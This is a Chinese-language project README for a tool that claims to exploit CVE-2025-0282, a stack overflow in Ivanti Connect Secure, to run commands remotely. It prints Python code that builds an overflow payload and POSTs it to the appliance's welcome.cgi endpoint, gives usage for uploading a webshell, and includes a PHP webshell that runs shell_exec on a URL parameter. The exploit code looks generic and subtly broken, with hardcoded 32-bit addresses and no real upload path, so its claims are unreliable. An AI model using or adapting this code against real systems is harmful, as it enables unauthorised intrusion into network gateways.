Ivanti Connect Secure CVE-2025-0282 漏洞利用工具
项目描述
本项目是一个针对Ivanti Connect Secure、Policy Secure和ZTA网关中CVE-2025-0282漏洞的远程代码执行(RCE)利用工具。该漏洞是一个栈基缓冲区溢出漏洞,允许远程未经身份验证的攻击者在受影响设备上执行任意代码。
受影响的版本包括:
- Ivanti Connect Secure 22.7R2.5之前版本
- Ivanti Policy Secure 22.7R1.2之前版本
- Ivanti Neurons for ZTA gateways 22.7R2.3之前版本
该漏洞的CVSS 3.1基础评分为9.0(严重),攻击向量为:AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H。
功能特性
- 远程代码执行:利用栈缓冲区溢出漏洞在目标系统上执行任意命令
- HTTPS通信:通过SSL/TLS加密通道与目标设备通信
- 自定义Payload生成:动态生成针对特定内存布局的利用Payload
- WebShell上传:支持将WebShell文件上传到目标服务器
- 内存地址控制:允许自定义system()函数地址和命令地址
- 灵活的命令执行:支持执行各种系统命令和上传自定义脚本
安装指南
系统要求
- Python 3.x
- 支持SSL/TLS的网络环境
- 对目标系统的网络访问权限(端口443)
依赖安装
本项目依赖以下Python标准库,无需额外安装:
import requests
import sys
import struct
import socket
import ssl
import urllib3
import time
配置说明
- 下载项目文件到本地
- 确保Python环境已正确配置
- 根据需要修改代码中的内存地址参数(system_address, command_address)
使用说明
基本用法
使用工具上传WebShell到目标系统:
python3 CVE_2025_0282.py <target_ip> <local_shell_path>
参数说明:
<target_ip>:目标服务器的IP地址<local_shell_path>:本地WebShell文件路径
漏洞利用示例
工具会自动构造并发送利用Payload,包括:
- 填充缓冲区的"A"字符(默认500字节)
- 覆盖返回地址为system()函数地址
- 设置假的返回地址
- 添加命令地址参数
- 附加要执行的命令
WebShell使用
上传的WebShell为PHP脚本,可通过HTTP GET参数执行命令:
http://target.com/shell.php?cmd=<command>
示例:
http://192.168.1.100/shell.php?cmd=whoami
http://192.168.1.100/shell.php?cmd=ls -la
核心代码
1. Payload生成函数
def create_exploit_payload(command, offset=500, system_address=0x0804a360, command_address=0x0804b008):
"""
创建利用Payload
参数:
command: 要执行的系统命令
offset: 缓冲区溢出偏移量(默认500)
system_address: system()函数的内存地址(默认0x0804a360)
command_address: 命令字符串的内存地址(默认0x0804b008)
返回:
构造好的Payload字节串
"""
payload = b"A" * offset # 填充缓冲区
payload += struct.pack("<I", system_address) # 覆盖返回地址为system()
payload += b"BBBB" # 假的返回地址
payload += struct.pack("<I", command_address) # 命令地址
payload += command.encode() # 要执行的命令
return payload
2. Payload发送函数
def send_payload(target_ip, payload):
"""
通过HTTPS发送Payload到目标服务器
参数:
target_ip: 目标服务器IP地址
payload: 要发送的Payload数据
返回:
服务器响应或None(如果发送失败)
"""
try:
# 创建SSL上下文,禁用主机名验证和证书验证
context = ssl.create_default_context()
context.check_hostname = False
context.verify_mode = ssl.CERT_NONE
# 创建套接字并包装为SSL套接字
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(5)
ssl_sock = context.wrap_socket(sock, server_hostname=target_ip)
# 连接到目标服务器的443端口
ssl_sock.connect((target_ip, 443))
print(f"[+] Connected to {target_ip} on port 443 (HTTPS).")
# 构造HTTP POST请求
exploit_endpoint = "/dana-na/auth/url_default/welcome.cgi"
http_request = (
f"POST {exploit_endpoint} HTTP/1.1\r\n"
f"Host: {target_ip}\r\n"
f"Content-Length: {len(payload)}\r\n"
f"Content-Type: application/x-www-form-urlencoded\r\n"
f"\r\n"
).encode() + payload
# 发送请求并接收响应
ssl_sock.send(http_request)
response = ssl_sock.recv(4096)
ssl_sock.close()
return response.decode(errors="replace")
except Exception as e:
print(f"[-] Error sending payload: {e}")
return None
3. 漏洞利用主函数
def exploit_vulnerability(target_ip, command):
"""
利用CVE-2025-0282漏洞执行命令
参数:
target_ip: 目标服务器IP地址
command: 要执行的系统命令
"""
# 创建Payload
payload = create_exploit_payload(command)
# 发送Payload到目标服务器
response = send_payload(target_ip, payload)
# 输出结果
if response:
print("[+] Payload sent successfully.")
else:
print("[-] No response received.")
4. WebShell脚本
<?php
// CVE-2025-0282 WebShell
// 用法: http://target.com/shell.php?cmd=<command>
// 检查是否有cmd参数传入
if (isset($_GET['cmd'])) {
$cmd = $_GET['cmd']; // 获取要执行的命令
echo "<pre>" . shell_exec($cmd) . "</pre>"; // 执行命令并格式化输出
} else {
echo "No command provided."; // 没有提供命令时的提示
}
?>
6HFtX5dABrKlqXeO5PUv/84SoIo+TE3firf/5vX8AZ7LvlzTwixwAz2bxdbXijC7